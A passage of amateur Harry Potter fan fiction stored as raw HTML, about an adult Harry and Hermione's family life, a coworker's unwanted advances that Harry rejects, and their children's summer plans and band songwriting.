to finish. She would come\nhome each night for a while and visit James and Harry and talk about there\nday&#8217;s while watching a little bit of television&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp; Ron was now married to Lavender and they had three children, Ste and\nNick and Mandy.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Ste was sixteen,\nhe was tall and strong, besides being the Gryffindor house team Keeper at\nschool, he played rugby when he came home from the holidays in the\nsummer.&nbsp; The thing with Ste was that he was his own person, he had brown\neyes and brown Hair like his mother, but dyed it a dark Blue.&nbsp; Don&#8217;t get\nhim wrong he was the best kid in the world.&nbsp; Always help and doing his\npart when it was needed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Nick was thirteen\nand just starting in his third year at Hogwarts. He was in Gryffindor with\nBrandon; they were practically attached to each other.&nbsp; Always getting\ninto trouble, Harry and Ron would away say that they were a Fred and\nGeorge.&nbsp; He was small for his age but he was tough.&nbsp; He was also in\nthe band with Brandon he was a bass guitar and one of the singers.&nbsp; He had\nbrown eye and red Hair like Ron. Most people would say that they were alike.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Mandy was 8 a\nyear younger that James. She had long red hair and brown eyes.&nbsp; Everyday\nshe would play with James and have little sleep over\'s when their parents went\nout to dinner.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Ron has a job at\nthe Ministry working with the sports and tournament arraignments and Lavender\nis also working at Hogwarts as the Divination teacher.&nbsp; Apparently\nProfessor Telawaney had to retire because she saw dark times ahead at the\nschool and didn&#8217;t want to end up with the fate of others.&nbsp; So Lavender\ntook it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal"><b>*~Present time~</b>*</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry had just\ngot up to take his shower and get ready for a new day at work.&nbsp; He walked\ninto the bathroom to take a shower when he heard Hermione calling for him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Harry!&#8221; She\nyelled from down stair.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yea, Mione.&#8221; He\nyelled from the bathroom.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Could you bring\ndown James&#8217;s Rugby shirt&#8230; it&#8217;s in the cloth&#8217;s basket&#8221;? </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yea.&#8221; Harry\nwalked over to the basket and picked up the blue and orange shirt and brought\nit down stairs to his wife.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">When he walked\ninto the kitchen Hermione was just starting to make a pot of coffee for Harry\nto take with him to work and was putting some toaster waffles into the toaster\nfor James.&nbsp; She looked at Harry and put her hands on her hips.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;What?&#8221; Harry\nasked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Love the shirt.&#8221;\nShe said sarcastically.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry grinned,\n&#8220;Thanks I thought you&#8217;d like it&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Did you get in\nthe shower yet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Nope&#8230; I was\nabout to but you asked for James&#8217;s shirt, so I came down with it.&#8221; Harry walked\nover to Hermione, she turned back to the coffee and Harry came up behind her\nand wrapped his arms around her waist.&nbsp; He kissed her cheek and asked her,\n&#8220;Shouldn&#8217;t you be at the school? Today is the last day you need to be there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yes, I&#8217;m leaving\nin a moment James needs a clean shirt.&nbsp; When you go back up stairs tell\nhim I have a shirt for him.&#8221; She said kissing him back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I like that\nbetter than the coffee.&#8221; Harry said and he pulled her in for a long sweet kiss.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione smiled\nwhile she was kissing Harry and she finally was able to get him off her she\nspoke up, &#8220;You&#8230; upstairs&#8230; now.&#8221; She ordered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Alright I&#8217;m\ngoing.&#8221; Harry said turning around and walking up stairs.&nbsp; He walked over\nto James&#8217;s room and knocked on it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Come in&#8221; James&#8217;s\nmuffled voice came threw the door.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry opened the\ndoor and walked in.&nbsp; He saw James looking threw his dresser for a shirt he\ncould wear.&nbsp; Harry snuck up on him and before James realized there was\nsomeone behind him, Harry grabbed him and started swinging him around, &#8220;Potter\nhe&#8217;s the snitch! He&#8217;s going for it! Going! Going! AHHHHHHHH! IT&#8217;S ALL OVER!\nPOTTER GOT IT! HE GOT THE SINTCH!! POTTER WINS THE GAME!! POTTER WINS THE\nGAME!!&#8221; Harry yelled as he swung James around.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;YEA! I WON THE\nGAME!!&#8221; James yelled as Harry set him down, &#8220;Dad you think I could be a seeker\nlike you when I get to Hogwarts?&#8221; James asked him</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I think you\nwould make a good seeker.&#8221; Harry said rubbing James&#8217;s hair, &#8220;Now get down\nstairs, your mother has your shirt and your breakfast ready when you finish\nwashing up&#8230; Ok.&#8221; Harry said to him</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ok dad.&#8221; Harry\nwalked out of the room and went into his bedroom to get his cloths and take his\nshower. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWhen he got out he got dressed and washed up (Brush his teeth, and shave, TRY\nto manage his hair&#8230; No fight to be had there) and he went back down stairs to\nthe kitchen.&nbsp; James was sitting at the table eating his waffles.&nbsp;\nHermione saw him enter the kitchen and walked over to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;I&#8217;m off\nDumbledore wants me to get there before the students start comeing in for\nbreakfast.&#8221; Hermione said to him, &#8220;I have you coffee in a small thermos and I\nhave your suitcase over by the door, I&#8217;ll see you when you get home tonight.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ok, good-bye\nhoney.&#8221; Harry kissed her briefly, since James was sitting there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Hermione was\nabout to take the floo to Hogsmed when she looked at Harry and said to him, &#8220;I\nneed to talk to you tonight.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ok, we&#8217;ll talk\ntonight when I get home.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione yelled\n&#8216;Hogwarts&#8217; and she was gone with a pop.&nbsp; Harry turned to James, &#8220;We&#8217;ll\nleave in a few minuets ok&#8230; I&#8217;ll get you to school and I can get to work.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ok dad.&#8221; James\nsaid, stabbing his waffle with his fork.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry drove James to school and let him off, &#8220;I&#8217;ll pick you up in front of the\ndrop off at 3:30 ok.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yup.&#8221; James gave\nhis dad a hug and a quick kiss and left the car.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry watched him\nuntil he reached his friends and he honked and drove off.&nbsp; He stopped at a\ndrive threw place and grabbed a bagel to eat on his way to work.&nbsp; As he\ndrove he turned on the radio to the WWN (Wizarding Wireless Network) He had Ron\ninstall it for him so he could get the news on what going on in the wizarding\nworld.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">When he got to\nwork he walked to his office in dropped off his briefcase.&nbsp; He walked to\nhis closet and took out his jacket and slipped it on.&nbsp; He walked back out\nto the front desk and picked up the clipboard with his appointments.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Alicia is my one\no&#8217;clock comeing in or did she cancel?&#8221; Harry asked, &#8220;I don&#8217;t see the name on\nhere.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Oh yes, she\ncalled and said that it turned out to be a 24 hour thing and that if it came\nback she would call for another appointment.&#8221; Alicia said to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ok&#8230; well it\nlooks like I have at least a half hour to get some of yesterday&#8217;s paperwork\ndone.&nbsp; I&#8217;ll be in my office if.&nbsp; Just page me when my 8:00 come in.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yes Mr. Potter&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry walked into\nhis office and sat at his desk.&nbsp; He pulled out a folder from his desk that\nhad papers in it about symptoms of people and medicine prescriptions from\npatients.&nbsp; He started on a ten-year-old boy names Alex who was getting\nreoccurring stomach aches.&nbsp; He just started working when a knock came to\nhis door.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yes, come in.&#8221;\nHarry said not taking his eyes off his paper work.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&nbsp;The door\nopened and another doctor came in.&nbsp; Harry picked up his head for a second\nto see who it was, and when he saw who it was he dropped his pen and looked at\nher.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;What do you want\nMary?&#8221; He said rubbing his sinuses </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Harry&#8230;&#8221; Mary\nsaid leaning on his desk, &#8220;Come on just one night that&#8217;s all I&#8217;m asking\nfor.&nbsp; One night, and I promise you&#8217;ll never want to leave.&#8221; Mary said\nseductively leaning in to his ear, &#8220;It would be worth it&#8230;&#8221; And she kissed the\nback of his ear.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Harry pushed her\naway and got up from his desk and put his hands on it looking at her, &#8220;For the\nlast time NO, I&#8217;m married and I have kids.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;What is it with\nyou and your damn family!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;One I love my\nkids, two I love my wife, and three I think you&#8217;re a slut!&#8221; Harry said, &#8220;Now if\nyou don&#8217;t mind I have work to get done&#8230; I would appreciate it if you leave&#8230;\nnow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Mary looked at\nHarry with shock on her face, &#8220;Well you don&#8217;t have to be so rude.&#8221; She smirked\nas she left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;With you I\ndo.&#8221;&nbsp; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Mary walked out\nthe door and when she slammed the door the paintings on the wall shook\nvigorously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>~At Hogwarts~</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione arrived in the Great Hall just as the students were comeing in.&nbsp;\nShe looked over in the corner and saw that Chris was talking to a girl that\nHermione figured was his girlfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Kat, I don&#8217;t want you to go home this summer.&nbsp; When I get those letters\nfrom you and I hear what your father is doing to you&#8230; Last Summer I punched a\nhole in my wall and my dad had to come and make me stop.&#8221; Chris grabbed her\nhand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;But Chris I\ndon&#8217;t have anywhere else to go&#8230; Tiffany is going to Ireland with her parents to\nsee her grandparents for a family reunion and Amanda is going away for the\nsummer to Rome to spend time with her brother.&#8221; Kat explained.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Chris looked into\nher eyes; he could look at her for hours and still never get bored.&nbsp; Kat\nwas a Gryffindor with Chris; She had strawberry blond hair and an almond color\nin her eyes.&nbsp; She was also on the Quidditch team as a chaser.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Come home with\nme.&#8221; Chris said to her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Kat looked at him\ngoing wide-eyed, &#8220;How&#8230;I-I can&#8217;t,&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Why not&#8230; all&#8217;s I\nhave to do is ask my mom, she already knows what&#8217;s happening, she wants to help\njust as much.&#8221; Chris embraced her in a hug, &#8220;Please.&#8221; He whispered in her ear.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Kat thought for a\nmoment and she looked at him, &#8220;What will I tell my father?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;The truth&#8230;\nYou&#8217;re not coming home your spending the summer with me and my family.&#8221; Chris\nkissed her quickly, &#8220;Stay here&#8230; I&#8217;ll go ask my mom right now.&#8221; Chris left Kat\nin the corner and ran up to the head table to where his mother was sitting.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione saw him\ncome running up to her, &#8220;Chris is something wrong?&#8221; she asked concerned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;No&#8230; nothing at\nall&#8230; Mom I&#8217;m gonna ask you something but I need you to think about it before\nanswering.&#8221; Chris said looking at his mother.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ok, tell me.&#8221;\nShe said looking at him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Could it be\npossible for Kat to stay with us for the summer?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Hermione looked\nat him and then at Kat who was still in the corner talking to Ste, &#8220;Well right\nnow I know that Ste, Nick, and Mandy are comeing to stay with us for the summer\nbecause Ron is going to the states for some sort of convention for the\nMinistry, and Lavender is going to her parents. So all the kids are staying\nwith us, and Brandon&#8217;s band friends are staying for the summer. So I guess it\nwould be ok, your father would love to meet her&#8230; From what I told him about\nher.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Chris almost\njumped across the table at his mother but instead he put on some self control\nand just reached across and gave her a bone crushing hug, &#8220;Mom you the best! I\nlove you so much&#8221; He said releasing his mother and running back down to tell\nKat she was comeing home with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione once again was looking around the Great Hall looking at the students\ntalking to their friends.&nbsp; She happened to glance over to find Brandon and\nsaw him with some of his friends that were in his band.&nbsp; They seemed to be\nwriting a new song, which meant she would be hearing it when they go home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Ok you guys you\nall have your stuff so you can just floo with me and my bro and mom right?&#8221;\nBrandon asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Dude calm down&#8230;\nlets just get these lyrics down.&#8221; Nick said giving Brandon the pen, &#8220;I just\nthought of the chorus&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">Brandon took the\npaper and looked at the song and kind of sang it trying to find the music it\nwould harmonize with.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Always see\nit on TV or read it in the magazines</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;<br>\nCelebrities want sympathy</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><br>\nAll they do is piss and moan inside the Rolling Stone</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><br>\nTalking about how hard life can be<br>\n<br>\nI\'d like to see them spend the week livin\' life out on the street</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><br>\nI don\'t think they would survive</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><br>\nIf they could spend a day or two walking in someone else\'s shoes</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><br>\nI think they\'d stumble and they\'d fall</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><br>\nThey would fall (fall) <br>\n<br><br></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;That&#8217;s good, you said you have the chorus.&#8221; Brandon asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="\ntext-indent:.5in">&#8220;Yea man here\nI&#8217;ll sing it out&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chorus: </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lifestyles of the rich and the famous</p>\n\n<p class="MsoNormal"><br>\nThey\'re always complaining, always complaining</p>\n\n<p class="MsoNormal"><br>\nIf money is such a problem</p>\n\n<p class="MsoNormal"><br>\nWell they got mansions</p>\n\n<p class="MsoNormal"><br>\nThink we should rob them.<br>\n<br><br></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nBrandon looked at him and quickly wrote them down, &#8220;Dude that was wicked!&#8221; He\nsaid slapping him a high five, &#8220;dude where&#8217;s Alexia? From what I heard 